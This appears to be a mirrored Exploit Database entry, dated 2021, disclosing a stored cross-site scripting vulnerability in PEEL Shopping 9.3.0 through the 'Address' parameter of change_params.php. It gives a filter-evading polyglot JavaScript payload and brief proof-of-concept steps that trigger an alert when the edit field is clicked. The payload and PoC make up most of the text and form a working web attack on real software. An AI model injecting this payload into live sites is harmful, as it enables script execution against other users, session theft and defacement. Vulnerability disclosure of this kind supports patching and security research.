PEEL Shopping 9.3.0 – ‘address’ Stored Cross-Site Scripting

• Exploit Database
• 105 阅读

• 作者： Anmol K Sachan
  日期： 2021-02-11
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/49553/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20

  # Exploit Title: PEEL Shopping 9.3.0 - &apos;address&apos; Stored Cross-Site Scripting # Date: 2021-02-11 # Exploit Author: Anmol K Sachan # Vendor Homepage: https://www.peel.fr/ # Software Link: https://sourceforge.net/projects/peel-shopping/ # Software: : PEEL SHOPPING 9.3.0 # Vulnerability Type: Stored Cross-site Scripting # Vulnerability: Stored XSS # Tested on Windows 10 XAMPP # This application is vulnerable to Stored XSS vulnerability. # Vulnerable script: http://localhost/peel-shopping_9_3_0/utilisateurs/change_params.php # Vulnerable parameters: &apos;Address&apos; # Payload used:   jaVasCript:/*-/*<code>/*</code>/*&apos;/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e   # POC: in the same page where we injected payload click on the text box to edit the address. # You will see your Javascript code (XSS) executed.